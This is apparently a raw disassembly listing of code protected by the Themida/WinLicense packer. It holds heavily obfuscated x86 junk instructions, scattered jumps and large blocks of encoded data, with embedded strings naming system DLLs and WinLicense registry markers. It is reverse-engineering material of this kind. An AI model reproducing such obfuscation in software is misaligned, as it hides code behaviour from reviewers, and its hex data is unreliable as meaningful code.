		mov	esi, 249E140Ch
		xor	ebx, esi
		pop	esi
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	edi
		neg	edi
		shr	edi, 2
		xor	edi, 95D7240Dh
		add	ebp, 3F1834B0h
		add	ebp, edi
		sub	ebp, 3F1834B0h
		jmp	loc_56BCDC
; ---------------------------------------------------------------------------

loc_56D23A:				; CODE XREF: Themida_:00557031j
		shl	ecx, 8
		and	ecx, 5B8A33CDh
		add	ecx, 27E73C74h
		jmp	loc_56B4D4
; ---------------------------------------------------------------------------

loc_56D24E:				; CODE XREF: Themida_:0056214Dj
		pop	ebp
		push	edx
		push	ecx
		push	32CA4C63h
		pop	ecx
		sub	ecx, 62B05200h
		jb	loc_56636B
		jmp	loc_55F5FF
; ---------------------------------------------------------------------------
		dd 88C0C380h, 0EC885BDDh, 4BE5Bh, 0EF810000h, 3AD8384Dh
		dd 3317BB53h, 0EB8146A5h, 1642BFC5h, 15BDF29h, 52C781F7h
		dd 81306273h, 0D8384DC7h, 0C7815E3Ah, 4, 2474FF57h, 48F5F04h
		dd 9D4EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56D2AE:				; CODE XREF: Themida_:0056C158j
		pop	esp
		mov	[esp], edx
		push	ebx
		jmp	loc_560128
; ---------------------------------------------------------------------------

loc_56D2B8:				; CODE XREF: Themida_:005648FCj
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_568E15
; ---------------------------------------------------------------------------

loc_56D2C7:				; CODE XREF: Themida_:0055F8A2j
					; Themida_:loc_560FCEj
		xchg	eax, [esp]
		not	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		pop	esi
		jmp	loc_55C9B0
; ---------------------------------------------------------------------------

loc_56D2DB:				; CODE XREF: Themida_:0056A8F6j
		add	edi, 1A6C4462h
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5620EE
; ---------------------------------------------------------------------------

loc_56D2EC:				; CODE XREF: Themida_:00556E38j
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_55EE8B
; ---------------------------------------------------------------------------

loc_56D2F6:				; CODE XREF: Themida_:00558502j
		add	ebp, 22D0177Bh
		sub	ebp, edi
		jmp	loc_55D4D9
; ---------------------------------------------------------------------------

loc_56D303:				; CODE XREF: Themida_:0055894Ej
		push	ecx
		mov	ecx, 12F2C59h
		jmp	loc_569F1C
; ---------------------------------------------------------------------------

loc_56D30E:				; CODE XREF: Themida_:00560F78j
		sub	edx, 610E7CBAh
		add	edx, 45F848CBh
		add	edx, eax
		sub	edx, 45F848CBh
		add	edx, 610E7CBAh
		sub	edx, 6CE46246h
		add	edx, 19C40499h
		add	edx, 64716260h
		jmp	loc_56B2FE
; ---------------------------------------------------------------------------
		db 53h
		dd 4B55B850h, 6A2D4058h, 892E0B48h, 0DE0158C3h,	242C8B5Bh
		dd 68E78957h, 649Dh, 0BB241C89h, 4, 815BDF01h, 4C7h, 0DAE2E900h
		dd 0E950FFFEh, 0FFFFD09Dh
; ---------------------------------------------------------------------------

loc_56D378:				; CODE XREF: Themida_:loc_56002Bj
		inc	dl
		jge	loc_5641CE
		add	dl, 0F4h
		mov	bl, dl
		mov	edx, [esp]
		mov	bl, 95h
		mov	edi, eax

loc_56D38C:				; CODE XREF: Themida_:00568599j
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	edx, 4
		push	edi
		push	2
		pop	edi
		add	edx, 5E4A45F8h
		sub	edx, edi
		sub	edx, 5E4A45F8h
		pop	edi
		push	edx
		jmp	loc_565DAC
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 24348BF3h,	4C481h,	1BE90000h, 8BFFFF5Bh, 0C4832414h
		dd 4EC8304h, 0BD242C89h, 2, 2C8BEE01h, 71E95524h
		db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56D3EB:				; CODE XREF: Themida_:00565D3Cj
		pop	ebx
		mov	ah, 0DAh
		xor	ah, ch
		pop	ecx
		jmp	loc_5678AB
; ---------------------------------------------------------------------------
		dw 6568h
		dd 89000028h, 0A7BB241Ch, 0E9638D72h, 0FFFF416Eh
; ---------------------------------------------------------------------------

loc_56D408:				; CODE XREF: Themida_:0055FE9Aj
		add	al, 6
		jmp	loc_561673
; ---------------------------------------------------------------------------

loc_56D40F:				; CODE XREF: Themida_:00567BFBj
		sub	eax, esi
		pop	esi
		jmp	loc_5643C0
; ---------------------------------------------------------------------------
		align 4
		dd 3951E9F7h, 5352FFFFh, 5A02F9BBh, 0FF38BA78h,	0DA01DB3Fh
		dd 5EB8505Bh, 0E90BDB16h, 0FFFF0F66h
; ---------------------------------------------------------------------------

loc_56D438:				; CODE XREF: Themida_:0055FD05j
					; Themida_:00569256j
		mov	ebx, 7E5D3E63h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0BC750EDh
		or	ebx, edx
		pop	edx
		dec	ebx
		jmp	loc_569991
; ---------------------------------------------------------------------------

loc_56D451:				; CODE XREF: Themida_:0056A6F7j
		sub	[esp+4], ebx
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		jmp	loc_55B2E0
; ---------------------------------------------------------------------------

loc_56D461:				; CODE XREF: Themida_:0056BA67j
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xchg	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	713Bh
		mov	[esp], ecx
		jmp	loc_55E25D
; ---------------------------------------------------------------------------
byte_56D493	db 66h			; DATA XREF: Themida_:00556198o
		dd 68240C8Bh, 51BFh, 68241489h,	2EB7h, 0E904EC83h, 0FFFF4D3Eh
		dd 83242489h, 59042404h, 527C6856h, 0F75E0A55h,	1C683D6h
		dd 101E681h, 0F46278Eh,	0FEFE7A8Bh, 0DCA5E9FFh,	489FFFFh
		dd 51E98B24h
; ---------------------------------------------------------------------------

loc_56D4D8:				; CODE XREF: Themida_:0055A3E3j
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_5584D9
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 7954048Ah, 0FF6074E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D4ED:				; CODE XREF: Themida_:0056A093j
		mov	[esp], ecx
		mov	ecx, 79A8028Bh
		and	edx, ecx
		jmp	loc_5586DE
; ---------------------------------------------------------------------------

loc_56D4FC:				; CODE XREF: Themida_:00568D42j
		mov	ax, [esp]
		jmp	loc_55BB2F
; ---------------------------------------------------------------------------

loc_56D505:				; CODE XREF: Themida_:0056BA7Dj
		pop	edx
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56D513:				; CODE XREF: Themida_:0055AF84j
					; Themida_:0056D098j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55E5DD
; ---------------------------------------------------------------------------

loc_56D530:				; CODE XREF: Themida_:0056CF9Fj
		pop	edx
		jmp	loc_5658EA
; ---------------------------------------------------------------------------

loc_56D536:				; CODE XREF: Themida_:00557A91j
		pop	eax
		pop	eax
		push	esi
		mov	esi, 486B3199h
		and	esi, 30C22EECh
		jmp	loc_55928A
; ---------------------------------------------------------------------------

loc_56D549:				; CODE XREF: Themida_:0056C100j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_557937
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0FFABC1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D561:				; CODE XREF: Themida_:0055753Ej
		push	edi
		mov	edi, 4
		add	edx, 5C9E5CC4h
		jmp	loc_560C21
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 66166E66h, 13D4820Fh, 85E9FFFFh, 31FFFFB6h, 2498E9FEh
		db 2 dup(0FFh)
word_56D58A	dw 34FFh		; DATA XREF: Themida_:00556088o
		dd 0EC835924h, 0CC2DE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56D596:				; CODE XREF: Themida_:005577E5j
					; Themida_:0055B1F5j
		shr	edi, 6
		xor	edi, 1FBF514h
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_567C20
; ---------------------------------------------------------------------------

loc_56D5AD:				; CODE XREF: Themida_:00563925j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
word_56D5B2	dw 0DC68h		; DATA XREF: Themida_:00556174o
		dd 8900006Fh, 15682424h, 89000036h, 7C682414h, 0E94AB520h
		dd 0FFFF16C5h
dword_56D5CC	dd 0FE8D16E9h		; DATA XREF: Themida_:005561F4o
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D5D1:				; CODE XREF: Themida_:005621D4j
		push	5B7Ch
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebx, 4DDA26B6h
		add	ebx, edi
		sub	ebx, 4DDA26B6h
		jmp	loc_56A337
; ---------------------------------------------------------------------------

loc_56D5FE:				; CODE XREF: Themida_:0056CA5Ej
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_564C4F
; ---------------------------------------------------------------------------
		db 0D2h, 2Ch, 24h
		dd 8CBDE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56D62A:				; CODE XREF: Themida_:0056B572j
		dec	dl
		push	small 498Dh
		mov	[esp], ax
		mov	al, dl
		mov	dl, cl
		push	ebx
		mov	bl, al
		mov	cl, bl
		jmp	loc_5680FA
; ---------------------------------------------------------------------------

loc_56D642:				; CODE XREF: Themida_:0055D460j
		push	cx
		mov	cl, 22h
		add	al, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, dh
		sub	al, 22h
		mov	dx, [esp]
		jmp	loc_55F1D6
; ---------------------------------------------------------------------------

loc_56D65C:				; CODE XREF: Themida_:0055631Dj
		pop	edx
		jmp	loc_562327
; ---------------------------------------------------------------------------

loc_56D662:				; CODE XREF: Themida_:0056B5C8j
		neg	esi
		jno	loc_567E56
		and	esi, 43011CC9h
		jmp	loc_55C076
; ---------------------------------------------------------------------------

loc_56D675:				; CODE XREF: Themida_:loc_557FDBj
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55D52E
; ---------------------------------------------------------------------------

loc_56D681:				; CODE XREF: Themida_:0055A0C1j
		mov	cl, bh
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_569D32
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFEE25Eh
; ---------------------------------------------------------------------------

loc_56D694:				; CODE XREF: Themida_:0056A9CDj
		mov	ebx, esi
		pop	esi
		mov	edi, [esp]
		push	3FA2h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_560900
; ---------------------------------------------------------------------------
		db 45h
		dd 0E902EDC1h, 0FFFFC3F0h
; ---------------------------------------------------------------------------

loc_56D6C0:				; CODE XREF: Themida_:005623D1j
		sub	cl, bl
		jmp	loc_56C216
; ---------------------------------------------------------------------------
		db 53h
		dd 2434FF54h, 0FEE3BEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D6D1:				; CODE XREF: Themida_:005655F4j
		sub	al, bl
		jmp	loc_564D03
; ---------------------------------------------------------------------------
dword_56D6D8	dd 57240C8Bh, 0C781E789h, 4, 0FF839FE9h	; DATA XREF: Themida_:00556224o
		db 0FFh
; ---------------------------------------------------------------------------

loc_56D6E9:				; CODE XREF: Themida_:0055E12Dj
		add	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55CA37
; ---------------------------------------------------------------------------

loc_56D703:				; CODE XREF: Themida_:00567360j
		sub	edi, 512696FCh
		mov	ebx, edi
		pop	edi
		jmp	loc_565D7F
; ---------------------------------------------------------------------------

loc_56D711:				; CODE XREF: Themida_:0055A71Dj
		push	2E1Fh
		mov	[esp], esi
		jmp	loc_567285
; ---------------------------------------------------------------------------

loc_56D71E:				; CODE XREF: Themida_:005698F0j
		mov	ecx, 33A36C38h
		jmp	loc_5653EB
; ---------------------------------------------------------------------------
		dd 1555EF81h, 8D0F6703h, 0FFFECF93h, 4457E781h,	0EEE92C2Fh
		dd 5DFFFFEFh
; ---------------------------------------------------------------------------

loc_56D740:				; CODE XREF: Themida_:0056C6BBj
		push	5106h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, eax
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	ecx, edx
		mov	edx, [esp]
		push	esi
		jmp	loc_56D013
; ---------------------------------------------------------------------------

loc_56D767:				; CODE XREF: Themida_:005572FAj
		pop	eax
		pop	esi
		sub	ebx, 55D00A17h
		sub	ebx, eax
		add	ebx, 55D00A17h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_561668
; ---------------------------------------------------------------------------
dword_56D78C	dd 240C8B66h		; DATA XREF: Themida_:00556158o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_563A39
; ---------------------------------------------------------------------------
		dd 12E8h, 0C466FB00h, 8F95DC24h, 5EFD2218h, 0D5EB24B1h
		dd 0F51FE0EDh, 0A3F38159h, 811663F6h, 59E9C1h, 28F0F00h
		dd 0B0000000h, 16416801h, 66600000h, 1E85D281h,	0AE8h
		dd 9C8D9C00h, 0BB7F7805h, 809CCC93h, 61582ADAh,	5BF9565Ah
		dd 816031FFh, 769C79DBh, 68C68133h, 61144BFBh, 13E95Eh
		dd 89120000h, 86397E61h, 0D574DC35h, 0D8DD1330h, 1C5E4E4Ah
		dd 8CC6811Dh, 0E800D4F0h, 14h, 0FBAB5162h, 56255604h, 2054D624h
		dd 7BC34202h, 1067E60Eh, 0ABF6657h, 81585804h, 0EBDE83F6h
		dd 6E84Bh, 265A0000h, 0E979907Eh, 39DF8153h, 5F6A6205h
		dd 0C4F6815Bh, 60165526h, 0E931DA80h, 0Bh, 0E0D5E449h
		dd 0F7FD25F7h, 61956C98h, 81663189h, 837574F7h,	0F94903E9h
		dd 0F01EA83h, 0FFFF6785h, 0E88166FFh, 36EB20D1h, 52455355h
		dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h
		dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 40007h, 12001Ah, 2A000Ah
		dd 5859033Bh, 7E913A6h,	68000009h, 5ECCF5Eh, 0FDB015E9h
		dd 0CFC568FFh, 0BE905ECh, 68FFFDB0h, 5ECD0FDh, 0FDB001E9h
		dd 0D2AB68FFh, 0F7E905ECh, 68FFFDAFh, 5ECD328h,	0FDAFEDE9h
		dd 0D41B68FFh, 0E3E905ECh, 68FFFDAFh, 5ECD494h,	0FDAFD9E9h
		dd 0D48BCDFFh, 40F57A80h, 0C86DEE14h, 46F3669Ch, 0C96AE812h
		dd 0C8BA3B9Dh, 47BDE98Ah, 0C2386C0Fh, 43B9ED92h, 913B6F0Ah
		dd 34BBB103h, 820E1D43h, 2D1C242Bh, 47F267DCh, 2CC7752Bh
		dd 1F12BC7Dh, 0F143D987h, 116C4CFBh, 54616514h,	32458BB5h
		dd 65DF09AAh, 0C8A2596Ah, 114F1663h, 5E9C9DDFh,	2072D1BDh
		dd 0F83DD992h, 2152AC32h, 0D0BCD07Ch, 6EEC227Ch, 0AE0D61CDh
		dd 73E15EABh, 600C60CCh, 4138C3Eh, 3EA62D0Eh, 0B827AE60h
		dd 0D09C9022h, 77EF2BBDh, 0BDD02B01h, 6A069E2Bh, 0A675FA34h
		dd 422E822Fh, 0C3EE822Eh, 0B3914F0Eh, 0A4FC5FB9h, 497A175Eh
		dd 0C7CFC534h, 4B09D870h, 33000007h, 0B44E1ABDh, 3CC69243h
		dd 0B04A1EBFh, 3EC49041h, 0ED4B1FBCh, 37E4166Ch, 0A6559963h
		dd 2BCC08F2h, 0A150857Fh, 7FCD5FF5h, 1D433685h,	6DDD74F8h
		dd 0D91749E8h, 264AE695h, 0DD2C2585h, 1EC5E00h,	5912BAA9h
		dd 44E07DB0h, 0EE4D26BDh, 9D530D95h, 16ECB85Fh,	979D31E6h
		dd 6D80B35Eh, 87E22443h, 6E4FE2Fh, 28A80000h, 96D92377h
		dd 0A49B3E7h, 94C53F6Bh, 74BB1E5h, 27A60054h, 2C781B5Fh
		dd 0A7F3A0D6h, 2C781F5Dh, 0A6F29FD6h, 582C9E0Ch, 0AB1D4336h
		dd 0E86D8E27h, 66EFE549h, 75567CBh, 67552F9Dh, 30A81756h
		dd 0A407B43Ah, 9C7576E6h, 1F5A5477h, 1BA9F7B7h,	17571021h
		dd 0E7AF0C94h, 340EE611h, 665EEC76h, 0F0175708h, 57086A42h
		dd 3245DD17h, 4C5009AAh, 9000000h, 1D49E86Dh, 671F1144h
		dd 66EF1756h, 13669FCBh, 408E144Ah, 0BAC06314h,	12BC1728h
		dd 0F7A629D7h, 0F6211BA9h, 0C94116Bh, 84F03E60h, 9A9047B5h
		dd 95CBA754h, 0E153145Bh, 116BF60Bh, 298AE67Eh,	96498B71h
		dd 624EB3Ah, 6DB20000h,	0ECE549E8h, 2C9EC09Dh, 12BC7ACFh
		dd 40EEBA22h, 8ACF4E8Eh, 432F43EFh, 0C26FE6E0h,	2D13896h
		dd 4BE86EC0h, 7FA68BE7h, 0A9AC0F05h, 41DB8560h,	6BBBF9F3h
		dd 77D44C11h, 0FE71BF25h, 3C9FF35Fh, 0CFFE8C46h, 7D23BB0Ch
		dd 35993CB3h, 0EDE3D96Bh, 0CE560B7Eh, 9D5301A2h, 16ECB85Fh
		dd 0BBB103E6h, 0E0B7EEDh, 5C56FA96h, 424B7819h,	46E80F2Eh
		dd 5AC3FEEh, 60900000h,	0DE11EBBFh, 62916B3Fh, 0DC1DE7B3h
		dd 5F93693Dh, 0CF4EE8BCh, 0C49043B7h, 4F1BB83Eh, 0C49047B5h
		dd 4E1AB73Eh, 0F0C476E4h, 431D4336h, 0E86D66CFh, 66EFE549h
		dd 0E86D67CBh, 9BBE549h, 17566733h, 0E1141E86h,	1F732056h
		dd 27A79EB3h, 51A2A916h, 1045B7F9h, 3DBE7022h, 0B793B98h
		dd 508C42D8h, 1FE3D9AFh, 0A72B1757h, 0B81B83F4h, 5720C8C2h
		dd 65286C17h, 0A4340EF0h, 11B88C3Eh, 930B1757h,	0FEBB6930h
		dd 9C7FFFFh, 6A094DCAh,	65C6AAC6h, 49E86DC0h, 0C09DECE5h
		dd 1BED049Eh, 0EF1FF60Dh, 69760CAFh, 0DC12BCF0h, 24BE1044h
		dd 6CDD9E96h, 2A891111h, 5D03DA2Fh, 7A892EC7h, 0B5F22D60h
		dd 0F4B6C16h, 0A63E0CD3h, 0DCD062F8h, 2F0B830Eh, 0C2B414B7h
		dd 0B830EEDh, 0B11DBC3Dh, 2C8033BBh, 0EECC072h,	0C75F0B83h
		dd 82B3216Fh, 3944B0FEh, 283AE54Fh, 1A0BFh, 1C24E600h
		dd 0EE67DC2Dh, 0AB07B625h, 6B07ABC7h, 2AC35907h, 5DC26EEBh
		dd 5105E43Dh, 0D6F9B895h, 0B3483291h, 0AF12BCFEh, 0E14DEC61h
		dd 0FF552E8Dh, 6CCE774Dh, 3E52CA11h, 0E2415EE4h, 7F8AC8A2h
		dd 0F862F8A6h, 92B1724Ah, 0FE5DC537h, 0F8C5EF84h, 0F65AC232h
		dd 53E1AAFFh, 31A89359h, 781D52ACh, 0BC267814h,	0FB58FD72h
		dd 0E8C0681h, 2E79902Dh, 9E03A563h, 8635A5AFh, 98C65E25h
		dd 0B532EB02h, 18F87285h, 0FF38BDBBh, 9E3BBE7Bh, 38325E32h
		dd 0D8B418B9h, 0D44EE0B4h, 0BE078E66h, 0DA79E12Bh, 5B9E99DCh
		dd 127E12BEh, 0D0152A21h, 43923AC7h, 3FEh, 0B9ED92C6h
		dd 3D690C43h, 0B5E194C7h, 3B6F0A4Fh, 0B6E291C1h, 6DED9110h
		dd 0EE609ACEh, 71E3194Dh, 0ED609ACEh, 20B2184Ch, 43389A92h
		dd 0C861ED1Dh, 0D083F739h, 5A237673h, 0A8CFB604h, 66FE12BAh
		dd 0BA81F638h, 5B379B38h, 54F79B37h, 0EB8CC806h, 601745BFh
		dd 0E997D73Eh, 0F22D101h, 0A72A4BAAh, 0A6CAA60Ah, 75724AF8h
		dd 5DC51169h, 21545EFEh, 0A7564370h, 0AA2E224h,	381DBh
		dd 6C134500h, 0E88DC238h, 601546BCh, 0EE8BCE34h, 611240BAh
		dd 90129335h, 1FE5B162h, 8A7024D7h, 3BC1954Ah, 0F95307B2h
		dd 39E3D96Bh, 0DA561D43h, 49E86D73h, 453F8D17h,	0B8175667h
		dd 0C601546h, 8221D606h, 0F4A52822h, 0BC286A58h, 56678783h
		dd 0A4692D17h, 0EE340E37h, 0FFFFFCBDh, 49E86DB7h, 0C09DECE5h
		dd 763B2C9Eh, 30CE12BCh, 2A7E12C3h, 71152473h, 399A3DBFh
		dd 4E10ED3Ch, 0BC7D47FCh, 78A23A12h, 7E3703EAh,	0B655FEDh
		dd 40D8116Ch, 0CA37206Dh, 7F071369h, 108B956h, 16184B65h
		dd 3BB8282Eh, 365A369Ah, 0FDB6045Ah, 0F064B9F9h, 0B814C90Eh
		dd 0FF9340B2h, 1424CD93h, 65F7E5D4h, 1118B81Bh,	0AD633D08h
		dd 51818B2Ah, 0E15301A2h, 5ED03466h, 11DF8119h,	0AD633DDCh
		dd 53818B2Ah, 0CF6C00ACh, 49E86D97h, 0E1A6F7Ah,	0EC3D9596h
		dd 28Eh, 95D0276h, 8DD97CF3h, 5510477h,	8BDF7AFFh, 6520171h
		dd 1D5D21A0h, 9ED02A7Eh, 2153A9FDh, 9DD02A7Eh, 9002A8FCh
		dd 433B4A22h, 9831BD1Dh, 0C2701B6Eh, 175666EAh,	486B507h
		dd 7700EA78h, 6FDD83EFh, 12BB58D8h, 0F76D33ABh,	6A486F45h
		dd 9A3DBF11h, 84D675EDh, 1550A4Ah, 6AC679FBh, 0AA2AED60h
		dd 2E18A3B4h, 92FEED5Eh, 0E9E4CDFEh, 9038E223h,	21541h
		dd 0C077F900h, 34E96E94h, 0A4599A60h, 2AC70AF0h, 0A556847Eh
		dd 0ACD657F1h, 23D98D2Eh, 0A65C08ABh, 2FD58136h, 0F55F0BA6h
		dd 3ADFD567h, 0DE521D43h, 421B6E77h, 0A919AE1Ch, 74EC12BAh
		dd 0C071E42Ah, 2B286D94h, 4AF7B6A2h, 69DD81C6h,	9BC5A905h
		dd 69FB5329h, 523EA611h, 1758960Ch, 0D0A6CA66h,	1169FADCh
		dd 4614B72Fh, 69FAFAF4h, 7DD14911h, 0FC500377h,	4DEE6CA2h
		dd 61D38DE1h, 1169FB8Bh, 0E7C566FEh, 94CA69E9h,	0CA66135Ah
		dd 0A45D05A6h, 982A7461h, 1169FA9Ch, 0E72977EFh
		dd 59938D6Fh, 9A4AF23Eh, 0FFF555F6h, 4B85DB76h,	52F25104h
		dd 5EFB727Ch, 0DC7DF00Ah, 0E5E13370h, 616BC776h, 15474DECh
		dd 2664CE62h, 7B2187B6h, 9E3BB209h, 1CBD30CAh, 9B38BAB0h
		dd 0A3D19F37h, 0B002E114h, 116A53BCh, 0CBA970Fh, 1A2485EFh
		dd 748EDAB6h, 0BAF95506h, 6A9AC05Ah, 5B51E379h,	0D31169A8h
		dd 178FF89Bh, 9340B2B4h, 41F369C7h, 1169A86Bh, 0F4832EA3h
		dd 0A818EC5Eh, 0F36B1169h, 0B83A3C9Fh, 3FBDB71Bh, 0DA643498h
		dd 0A86DEDAAh, 4E1A7627h, 3C9041B4h, 3843B44Ah,	9F7BFEA9h
		dd 0C974324h, 3E92FEF1h, 176C134h, 0C29C305Ch, 0F5CF7C70h
		dd 0FD57CF58h, 78284DBFh, 0CC0196C6h, 19D7792Dh, 9F993AD9h
		dd 0FA99DD56h, 0D406C896h, 2E248427h, 9F510FACh, 4F259758h
		dd 0A258F5CFh, 55F5563Ah, 9724505Ah, 77EDB35Eh,	0F5CEEFC5h
		dd 79DA4258h, 0E792DB21h, 6E37424Bh, 0C8458230h, 0B851545Bh
		dd 4C453E4Ch, 0EB7CDF4Bh, 30F8B39Eh, 0A45A2182h, 69DB8536h
		dd 530BCE93h, 46127EE6h, 0CD936ABFh, 8A29CC03h,	10C56AD8h
		dd 20B84E70h, 9243B07Eh, 529B9131h, 0B45DF3A7h,	82874B3Ah
		dd 33331566h, 38B9509Eh, 7CF1F754h, 0B20771DDh,	7936E5CAh
		dd 33BA0173h, 0A528D286h, 1F5258F4h, 308EDE72h,	0D37EF7C4h
		dd 59F87D87h, 0F065ABF5h, 33FE241h, 66000000h, 0EB6DA508h
		dd 5B929834h, 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh
		dd 0CF0208A4h, 57848E22h, 0CF000AA6h, 83E9822Eh, 348904ECh
		dd 81E68924h, 4C6h, 4EE8300h, 5C243487h, 84368h, 24148900h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 0A068240Ch
		dd 8B05ECCEh, 0C4832414h, 61D96804h, 24890000h,	24048124h
		dd 4, 12FE6859h, 14890000h, 8418F24h, 51240C8Bh, 0C181E189h
		dd 4, 4C181h, 0C870000h, 148B5C24h, 0E3895324h,	4C381h
		dd 0C3810000h, 4, 5C241C87h, 0FDA721E9h, 0D3F28EFFh, 7266414Dh
		dd 0CEB8034Ch, 305ECD6h, 99E0FFC5h, 1A5C1C47h, 0A776167Eh
		dd 3C273AE0h, 484461F2h, 9A601725h, 0DF53FF8Bh,	0B66B7818h
		dd 0B1027FC0h, 0C26E32Ah, 6136C1A0h, 2B00ECBCh,	6550F897h
		dd 0B26473BFh, 504A31FAh, 4503625Fh, 0FC4FF56Ch, 0B8754414h
		dd 0C74EA115h, 7F0139A6h, 300F0651h, 9D038066h,	4E32EA54h
		dd 0EF64D4BEh, 244E958Ch, 5924A082h, 0C05D917Ch, 0DF48FC64h
		dd 0E94CCDA6h, 73h, 11BD8360h, 5EA0Dh, 5840Fh, 5EE90000h
		dd 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h
		dd 8850F33h, 6A000000h,	24E94610h, 80000000h, 850F343Eh
		dd 8, 0E946306Ah, 13h, 0F353E80h, 885h,	46406A00h, 2E9h
		dd 8D006A00h, 0EA240D85h, 4895005h, 34895024h, 0FF006A24h
		dd 0EA02F995h, 0C6C36105h, 0EA1A4585h, 0E5684D05h, 81AB0238h
		dd 4E4D2434h, 0B5FF0F37h, 5EA1C8Dh, 3969858Dh, 0D0FF05EAh
		dd 2F98589h, 0AAE905EAh, 53000000h, 7774666Fh, 5C657261h
		dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
		dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
		dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
		dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
		dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
		dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3	dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	5ECD918h
		dd 0D914858Dh, 8D5005ECh, 0ECD87E85h, 1685005h,	0FF800000h
		dd 0ECD92495h, 0FF196A05h, 0ECD918B5h, 6A016A05h, 0AD858D00h
		dd 5005ECD8h, 0D914B5FFh, 95FF05ECh, 5EA0135h, 0D914B5FFh
		dd 95FF05ECh, 5ECD920h,	0D914B5FFh, 95FF05ECh, 5EA3051h
		dd 188589C3h, 8D05ECD9h, 0ECD91485h, 858D5005h,	5ECD87Eh
		dd 16850h, 95FF8000h, 5ECD924h,	858D046Ah, 5ECD918h, 6A046A50h
		dd 0D7858D00h, 5005ECD8h, 0D914B5FFh, 95FF05ECh, 5EA0135h
		dd 0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh,	95FF05ECh
		dd 5EA3051h, 188589C3h,	8D05ECD9h, 0ECD91485h, 858D5005h
		dd 5ECD87Eh, 16850h, 95FF8000h,	5ECD924h, 858D046Ah, 5ECD918h
		dd 6A046A50h, 0BF858D00h, 5005ECD8h, 0D914B5FFh, 95FF05ECh
		dd 5EA0135h, 0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh
		dd 95FF05ECh, 5EA3051h,	188589C3h, 8D05ECD9h, 0ECD91485h
		dd 858D5005h, 5ECD87Eh,	16850h,	95FF8000h, 5ECD924h, 858D046Ah
		dd 5ECD918h, 6A046A50h,	0EA858D00h, 5005ECD8h, 0D914B5FFh
		dd 95FF05ECh, 5EA0135h,	0D914B5FFh, 95FF05ECh, 5ECD920h
		dd 0D914B5FFh, 95FF05ECh, 5EA3051h, 188589C3h, 8D05ECD9h
		dd 0ECD91485h, 858D5005h, 5ECD87Eh, 16850h, 95FF8000h
		dd 5ECD924h, 858D046Ah,	5ECD918h, 6A046A50h, 9A858D00h
